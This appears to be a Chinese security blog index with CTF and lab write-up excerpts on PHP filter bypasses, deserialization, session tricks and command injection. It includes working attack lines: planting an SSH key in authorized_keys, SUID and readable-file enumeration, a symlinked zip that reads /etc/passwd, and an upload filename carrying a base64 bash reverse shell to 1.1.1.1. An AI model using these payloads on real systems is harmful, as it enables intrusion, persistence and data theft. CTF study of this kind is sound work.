[HTB]第一章

ssh公钥免密登录 在找到rce后为了达成免密码登录的效果,可以执行下面的代码使用ssh-keygen生成一个id_rsa、id_rsa.pub,并向目标机器写入id_rsa.pub,最后用所提供的账号密码登录就行 ls -al ~/;mkdir ~/.ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxtAMshGdWeqB9WHylfTUUGksOhANWSAOHBQLDTVVjZIxx3yO7xBBrZcG03iImnJ7/Fa2jFNCtES5m+NUdQ8eChxtkMfzgGyTpcg7iEo9KvIT3zTND5mILQyxUffiyBhXI0WXiRX8Y29QnFq0+GA2N/6XBI56NnRsTASoZfqNQRnISftsfpQnnqX6/YJH7biPhAr4/ePJx7zPJTDitEX8zeH87jb1zaZ1bTVXQbmpZ37qF1NQ+/MebS74t4anEsevYW3qJObZyJsvIX+aILSptA9HMFintYgeg0wiII4hdBSEH7mvB9KHfQ1dtMfpBNL6rUJ2BRhjB3Nq84oh3p5IDWjVkZGQ2PH33e2HogF0KEDMWXhvFOa1ZlxOHkL8nlIG3XB8A8yfFe5doLrv38EhZzsLKxQurRjdG6NwzZXjeQSGV0tFey8uEEgc3FwglfThBmZRNaUOYvYmprFBzmVqO1nHMaOPq2UUd/5KwaIdrgIGeWR7ilTkIwwisAmvrokOCC4lErtA7WO0bECHc8ZiAGlIS+X9XiXJm47FiUlcalXCQYPC3Mnt6aFBq+KhfYbmcn+ZA6X0H28VTDrxQqZVUjku4t06DwCMY+oHeRo9305e9Dkx+tkXTYYeTAbL5G1UoedZ7co9MgXNKix2rjB0LoYZp/pEIxJwjAavAPfxwpQ==" > ~/.ssh/authorized_keys 文件查找 当在进行提权且sudo无法使用时,可以使用下面这句文件查找进行相关可读文件的查询。(有时mail文件夹下会有好东西) find / -type f -user admin -readable 2>/dev/null 搜索高权限指令(提权) find / -perm -u=s -type f 2>/dev/null FUZZ域名 积累一个用法和一个字典集——seclists,很全,同时可以用来fuzz域名什么的,下面是例子 wfuzz -c -w /usr/share/seclists/Discovery/DNS/xxxx.txt -u “http://….” -H “Host: FUZZ.xxxx.com” -hl 7 一个很骚的软链接与文件上传结合用法 如果你碰到了一个文件上传入口,但是要求你只能上传一个压缩包,且压缩包里只能有一个pdf文件,你会怎么做? 这个很骚的做法就是将pdf当作你想要读取的文件的软连接,命令如下 ln -s /etc/passwd test.pdf #软链接 zip --symlinks test.zip test.pdf #--symlinks参数是仅封装软链接文件而非源文件

February 15, 2024 · 1 min · Red

2024新年红包题

将饺替换成0,子替换成1,二进制转换字符串得到 下载附件,审计源码 题目开了imagick扩展 再审计源代码,一共有三个功能点: 反序列化 删除/tmp目录下的所有内容(这算是题目的提示了) 高亮当前文件 再看题目给的后门类: 其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用 所以整个攻击流程如下: 首先把/tmp目录清空: GET /?cmd=rm HTTP/1.1 Host: 1.1.1.1:49338 再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去 session的内容生成方式如下: 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论) <?php class fumo_backdoor { public $path = null; public $argv = null; public $func = null; public $class = null; } $a = new fumo_backdoor(); $a->path = "/tmp/res"; // 复制后的flag路径 $ppmhead = "P6 9 9 255 " ; $sdata = "|" . serialize($a); $ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata; // print($ppm); print(base64_encode($ppm)); //UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30= 有关PPM格式示例文件规范如下(From ChatGPT): ...

February 11, 2024 · 2 min · Red

[靶场笔记]第十二章

switch绕过 switch在case判断条件时会将原先是字符串的内容剔除并转换成与判断语句相同的类型 因此,在下面这段代码中 会输出 但是,如果使用弱比较对其进行过滤,例如 if($a=='2') 这个条件是不会成立的,因为'2+0’不等于'2' 短标签绕过 如果php等关键字被过滤,可以尝试使用短标签,例如 <?= ...... ?> <% ..... %> <? ..... ?> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用 <script language="php"> .... </script> #不需要修改参数开关,但是只能在7.0以下可用 []绕过 如果[]不行,可以用{}代替 .user.ini 是php的一个全局配置文件,对整个web服务(nginx)起作用。可以用在文件上传漏洞 auto_prepend_file = <filename> //包含在文件头 auto_append_file = <filename> //包含在文件尾 假设上传了一个图片,如果在与这一文件同级目录下存在php文件,把上面的改成图片文件名,就会把图片包含进php文件里,例如 auto_prepend_file = 1.jpg hash_hmac函数 [羊城杯 2020]Blackcat hash_hmac() 使用 HMAC 方法生成带有密钥的哈希值 参数 必需的 描述 algo 是 要使用的哈希算法名称,例如:“md5”,“sha256”,“haval160,4” 等。 如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。 data 是 要进行哈希运算的消息。 key 是 使用 HMAC 生成信息摘要时所使用的密钥。 raw_output 否 设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。 这个函数有一个特性,如果data传入的值为数组,那么就会返回NULL ...

February 6, 2024 · 1 min · Red

2024寒假训练赛4——Writeup

WEB web签到 直接上payload /?c=cat /flag%0a 虽然过滤掉了很多东西,但%0a是换行,可以将过滤的指令换到下一行,就不会影响上一行执行 prprp…py? 打开题目显示没有session 可以利用SESSION_UPLOAD_PROGRESS创建一个session: 下方的proxies为BurpSuite的代理地址 import requests url = "http://1.1.1.1:49343/" data = { "PHP_SESSION_UPLOAD_PROGRESS":"a" } file = { "file": ("a","a") } cookies = { "PHPSESSID": "a" } proxies = { "http": "127.0.0.1:8080" } req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies) print(req.text) 发包过去就能拿到源码了 获取到的源码如下,这里稍作分析: $_POST['data']可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据 核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF 第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件 第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie <?php error_reporting(0); if(!isset($_SESSION)){ die('Session not started'); } highlight_file(__FILE__); $type = $_SESSION['type']; $properties = $_SESSION['properties']; echo urlencode($_POST['data']); extract(unserialize($_POST['data'])); if(is_string($properties)&&unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object -> sctf(); exit(); } else if(is_array($properties)){ $object = new $type($properties[0],$properties[1]); } else { $object = file_get_contents('http://127.0.0.1:5000/'.$properties); } echo "this is the object: $object <br>"; ?> 这里的解题思路如下: ...

February 2, 2024 · 3 min · Red

2024长城杯校内选拔赛——Writeup

WEB 在线解压(2023国赛 华北赛区) 下载源码,审计POST路由,其中savepath可控且无过滤,直接闭合命令执行即可 命令注入点在上传的文件名,由于文件名不能包含/等特殊字符,所以需要把反弹shell的命令base64编码一下: a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`# 完整请求包如下: POST / HTTP/1.1 Host: 1.1.1.1:12345 Content-Length: 277 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#" Content-Type: image/jpeg asdasd ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu-- 附:上传文件请求包 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>POST传输数据包</title> </head> <body> <form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html> 卫继龚的博客——1(2023WMCTF) 下载题目附件,分析app.js 32-135行的路由,用nodejs实现了werkzeug的console,类似于Flask里面的调试模式的console,不过这里需要鉴权才能进入console 在edit这个路由里,获取传入的id,并做查询, !/\d+/igm.test(id)用于检查id是否包含一个或多个数字,所以还是可以注入的,只需要包含数字且不包含into、outfile、dumpfile即可 再看getPostById方法,这里直接对传入的id做拼接(在post.js) 直接传/post/1'/edit发现就可以注入 前面提到的鉴权,它的pin在程序启动的时候就被打印出来了 ...

February 1, 2024 · 16 min · Red